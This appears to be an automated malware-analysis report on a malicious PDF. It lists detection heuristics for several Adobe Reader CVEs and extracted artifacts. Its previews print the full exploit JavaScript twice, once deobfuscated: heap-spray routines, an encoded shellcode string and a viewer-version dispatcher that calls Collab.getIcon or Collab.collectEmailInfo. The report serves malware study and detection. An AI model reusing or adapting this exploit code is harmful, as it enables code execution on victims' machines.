MALICIOUS
910
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
T1566.001 Spearphishing Attachment
This PDF file leverages multiple Adobe Reader vulnerabilities (CVE-2010-0188, CVE-2009-0927, CVE-2007-5659) through embedded JavaScript and XFA forms. The JavaScript code appears to be an obfuscated multi-stage heap-spray exploit designed to execute arbitrary code. The script attempts to contact 'http://cgi.adobe.com/special/acrobat/update', which is likely a lure or a fallback URL for payload delivery.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 25
-
Adobe Reader XFA LibTIFF integer overflow — CVE-2010-0188 critical CVE exact CVE_2010_0188An XFA image field carries a TIFF whose IFD has a malformed tag that overflows the LibTIFF parser (CVE-2010-0188).
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Obfuscated multi-stage PDF JavaScript heap-spray exploit critical PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAYPDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
XFA form contains risky executable script high PDF_XFA_SCRIPTPDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
-
ClamAV: Pdf.Exploit.Agent-35646 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Exploit.Agent-35646
-
XFA JavaScript heap-spray exploit code critical PDF_XFA_HEAP_SPRAYPDF contains XFA script content with heap-spray or shellcode-like JavaScript markers such as large encoded word sequences, util.pack, large arrays, or spray variable names. This is a weaponised Adobe Reader exploit pattern, not a normal interactive form.
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGEA valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTHA PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
-
Embedded script payload in PDF stream medium PDF_EMBEDDED_SCRIPT_PAYLOADPDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
-
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded file low PDF_EMBEDDEDPDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
-
XFA form low PDF_XFAPDF uses XML Forms Architecture — can contain script logic
-
Additional-actions dictionary low PDF_AAPDF defines /AA (Additional Actions) that references an executable action (JS/JavaScript/Launch/SubmitForm) — can auto-trigger on document or widget events. Form-field calc/format/validate/keystroke handlers in legitimate interactive forms commonly fire this, so it is reported as a low-weight signal; weaponised auto-execution is flagged by stronger rules (PDF_OPENACTION, encrypted-with-JS, etc.)
-
ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
-
AcroForm button with action trigger low PDF_ACROFORM_BUTTONPDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
-
Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTALThe same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
- http://cgi.adobe.com/special/acrobat/updateReferenced by PDF JavaScript
- http://www.xfa.org/schema/xfa-template/2.1/Referenced by PDF JavaScript
- http://www.xfa.org/schema/xfa-template/2.2/Referenced by PDF JavaScript
- http://ns.adobe.com/xdp/In extracted file (embedded_file_obj0033.bin)
- http://www.xfa.org/schema/xci/1.0/In extracted file (embedded_file_obj0034.bin)
- http://www.xfa.org/schema/xfa-data/1.0/In extracted file (embedded_file_obj0036.bin)
- http://www.xfa.org/schema/xfa-locale-set/2.1/In extracted file (embedded_file_obj0037.bin)
- http://ns.adobe.com/xtd/In extracted file (embedded_file_obj0038.bin)
Extracted artifacts 18
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
embedded_file_obj0033.bin |
pdf-embedded-file | PDF EmbeddedFile object 33 at offset 0x74E9 | 85 bytes |
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb |
|||
embedded_file_obj0034.bin |
pdf-embedded-file | PDF EmbeddedFile object 34 at offset 0x759B | 1675 bytes |
SHA-256: c3e1960ce8b7916804612ba3ca5a7383bd8329a68775ea4b0663e450b46fc6c3 |
|||
embedded_file_obj0035.bin |
pdf-embedded-file | PDF EmbeddedFile object 35 at offset 0x78C4 | 5264 bytes |
SHA-256: 4ad0facd5457d1a89335a2900a52642831e54a79cb389c0be49c88c9eb09a232 |
|||
embedded_file_obj0036.bin |
pdf-embedded-file | PDF EmbeddedFile object 36 at offset 0xA0A5 | 11668 bytes |
SHA-256: ed762fbdece2f28698a9b616738dad71743a6f16ae241aac314fe0a6ffbde9b6 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
embedded_file_obj0037.bin |
pdf-embedded-file | PDF EmbeddedFile object 37 at offset 0xA2BE | 2228 bytes |
SHA-256: 9de85e34edf3e917e689a8038021a103f1a74681300a3e2b9c5fc0f1e5334c45 |
|||
embedded_file_obj0038.bin |
pdf-embedded-file | PDF EmbeddedFile object 38 at offset 0xA579 | 212 bytes |
SHA-256: 57045217c453d4674a08ad8778674bf199a7989a9505424a1815c016e6bb412f |
|||
javascript_obj0025_000.js |
pdf-javascript-stream | PDF /JS object 25 at offset 0x6D72 | 870 bytes |
SHA-256: 4a1aca004cf20431c9a66dce85404a6411a54d881a6c257882260ffc972a13eb |
|||
Preview scriptFirst 1,000 lines of the extracted script
if (typeof(ADBE.Reader_Value_Asked) == "undefined")
ADBE.Reader_Value_Asked = false;
if (typeof(ADBE.Viewer_Value_Asked) == "undefined")
ADBE.Viewer_Value_Asked = false;
if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 7.0)
{
ADBE.Reader_Need_Version = 7.0;
ADBE.Reader_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + "XFA1_6";
}
if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 7.0)
{
ADBE.Viewer_Need_Version = 7.0;
ADBE.Viewer_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + "XFA1_6";
}
|
|||
javascript_obj0027_001.js |
pdf-javascript-stream | PDF /JS object 27 at offset 0x6EF6 | 2794 bytes |
SHA-256: 4e139c8b22ec16bd5aa51575c80dec2bbf89b76977a06b68473031a0eb206366 |
|||
Preview scriptFirst 1,000 lines of the extracted script
if (typeof(this.ADBE) == "undefined") this.ADBE = new Object(); ADBE.LANGUAGE = "ENU"; ADBE.Viewer_string_Title = "Adobe Acrobat"; ADBE.Viewer_string_Update_Desc = "Adobe Interactive Forms Update"; ADBE.Viewer_string_Update_Reader_Desc = "Adobe Reader 7"; ADBE.Reader_string_Need_New_Version_Msg = "This PDF file requires a newer version of Adobe Reader. Press OK to download the latest version or see your system administrator."; ADBE.Viewer_Form_string_Reader_601 = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator."; ADBE.Viewer_Form_string_Reader_Older = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK for online download information or see your system administrator."; ADBE.Viewer_Form_string_Viewer_601 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator."; ADBE.Viewer_Form_string_Viewer_60 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. For more information please copy the following URL (CTRL+C on Win, Command-C on Mac) and paste into your browser or see your system administrator."; ADBE.Viewer_Form_string_Viewer_Older = "This PDF requires a newer version of Acrobat. Copy this URL and paste into your browser or see your sys admin."; ADBE.Viewer_Form_string_Reader_5x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will open your browser to a web page where you can obtain the latest version."; ADBE.Viewer_Form_string_Reader_6_7x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version."; ADBE.Viewer_Form_string_Viewer_7x = "This PDF form requires a newer version of Adobe Acrobat. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version."; |
|||
javascript_obj0029_002.js |
pdf-javascript-stream | PDF /JS object 29 at offset 0x71E5 | 1528 bytes |
SHA-256: c876171bd867b66b7671fb337ff9e57d18cd15b43d344cf5a7243821300a408a |
|||
Preview scriptFirst 1,000 lines of the extracted script
if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.0)
{
if (app.viewerType == "Reader")
{
if (ADBE.Reader_Value_Asked != true)
{
if (app.viewerVersion < 6.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_5x, 1, 1) == 1)
this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
ADBE.Reader_Value_Asked = true;
}
else if (app.viewerVersion < 7.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_601, 1, 1) == 1)
app.findComponent({cType:"App", cName:"Reader7", cDesc: ADBE.Viewer_string_Update_Reader_Desc});
ADBE.Reader_Value_Asked = true;
}
else
{
if (app.alert(ADBE.Viewer_Form_string_Reader_6_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Reader_Value_Asked = true;
}
}
}
else
{
if (ADBE.Viewer_Value_Asked != true)
{
if (app.viewerVersion < 7.0)
app.response({cQuestion: ADBE.Viewer_Form_string_Viewer_Older, cDefault: ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle: ADBE.Viewer_string_Title});
else if (app.alert(ADBE.Viewer_Form_string_Viewer_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Viewer_Value_Asked = true;
}
}
}
|
|||
javascript_obj0004_003.js |
pdf-javascript-stream | PDF /JS object 4 at offset 0x36C93 | 4969 bytes |
SHA-256: 778b13a1633f70987e8e60391c23e396392a69ae31806dfeb5b444cda3b5562e |
|||
|
Detection
ClamAV:
Pdf.Exploit.Agent-35646
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function Rc(mycount,mywhat)
{
var av = "";
while (--mycount >= 0)
av += mywhat;
return av;
}
function mailInfo_start(mysc)
{
var avgir = unescape;
sc = mysc;
if (app.viewerVersion >= 7.0)
{
plin = Rc(1124,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u0b0b%u0028%u0aeb%u0aeb") + avgir("%u4149%u4149") + Rc(120,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u4149%u4149") + sc + Rc(1256,avgir("%u4141%u4141"));
}
else
{
ef6 = avgir("%uf6eb%uf6eb") + avgir("%u0b0b%u0019");
plin = Rc(80,avgir("%u4149%u4149")) + sc + Rc(80,avgir("%u4149%u4149"))+ avgir("%u17e9%ufffb")+avgir("%uffff%uffff") + avgir("%uf6eb%uf4eb") + avgir("%uf2eb%uf1eb");
while ((plin.length % 8) != 0)
plin = avgir("%u4141") + plin;
plin += Rc(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
//GetIcon
function getIcon_spary(mysc) {
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = avgir("%0a%0a%0a%0a");
}
Collab.getIcon(buffer+'_N.bundle');
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion == 9.0)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.103)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.102)
{
getIcon_spary(thsc);
return;
}
else
{
mailInfo_start(thsc);
return;
}
}
ExpDispatch();
|
|||
xfa_image_rawvalue_000.tif |
pdf-xfa-image-tiff | XFA image/rawValue TIFF payload near offset 0xA105 | 8642 bytes |
SHA-256: 64e6ffda976c2a87e23682a968f3b2a6cf0ca64d7908c51a46f182153a5ab8c2 |
|||
|
Detection
ClamAV:
Win.Exploit.CVE_2010_0188-7
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: NOP sled
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 4 at offset 0x36C93 | 4961 bytes |
SHA-256: 04ddafb370a364d810ce1b4d7e2234a9037cf7c3c8c6a29d6794787a3d33c4fa |
|||
|
Detection
ClamAV:
Pdf.Exploit.Agent-35646
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function Rc(mycount,mywhat)
{
var av = "";
while (--mycount >= 0)
av += mywhat;
return av;
}
function mailInfo_start(mysc)
{
var avgir = unescape;
sc = mysc;
if (app.viewerVersion >= 7.0)
{
plin = Rc(1124,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u0b0b%u0028%u0aeb%u0aeb") + avgir("%u4149%u4149") + Rc(120,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u4149%u4149") + sc + Rc(1256,avgir("%u4141%u4141"));
}
else
{
ef6 = avgir("%uf6eb%uf6eb") + avgir("%u0b0b%u0019");
plin = Rc(80,avgir("%u4149%u4149")) + sc + Rc(80,avgir("%u4149%u4149"))+ avgir("%u17e9%ufffb")+avgir("%uffff%uffff") + avgir("%uf6eb%uf4eb") + avgir("%uf2eb%uf1eb");
while ((plin.length % 8) != 0)
plin = avgir("%u4141") + plin;
plin += Rc(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
//GetIcon
function getIcon_spary(mysc) {
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = avgir("
");
}
Collab.getIcon(buffer+'_N.bundle');
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion == 9.0)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.103)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.102)
{
getIcon_spary(thsc);
return;
}
else
{
mailInfo_start(thsc);
return;
}
}
ExpDispatch();
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery split-literal-normalize from combined JavaScript objects at offset 0x6D72 | 15419 bytes |
SHA-256: ce9b72fc8751281317948fef1866c3bcaff87d7d7ba71c4194f89bb9bf5ba654 |
|||
|
Detection
ClamAV:
Pdf.Exploit.Agent-35646
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
if (typeof(ADBE.Reader_Value_Asked) == "undefined")
ADBE.Reader_Value_Asked = false;
if (typeof(ADBE.Viewer_Value_Asked) == "undefined")
ADBE.Viewer_Value_Asked = false;
if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 7.0)
{
ADBE.Reader_Need_Version = 7.0;
ADBE.Reader_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=XFA1_6";
}
if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 7.0)
{
ADBE.Viewer_Need_Version = 7.0;
ADBE.Viewer_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=XFA1_6";
}
if (typeof(this.ADBE) == "undefined")
this.ADBE = new Object();
ADBE.LANGUAGE = "ENU";
ADBE.Viewer_string_Title = "Adobe Acrobat";
ADBE.Viewer_string_Update_Desc = "Adobe Interactive Forms Update";
ADBE.Viewer_string_Update_Reader_Desc = "Adobe Reader 7";
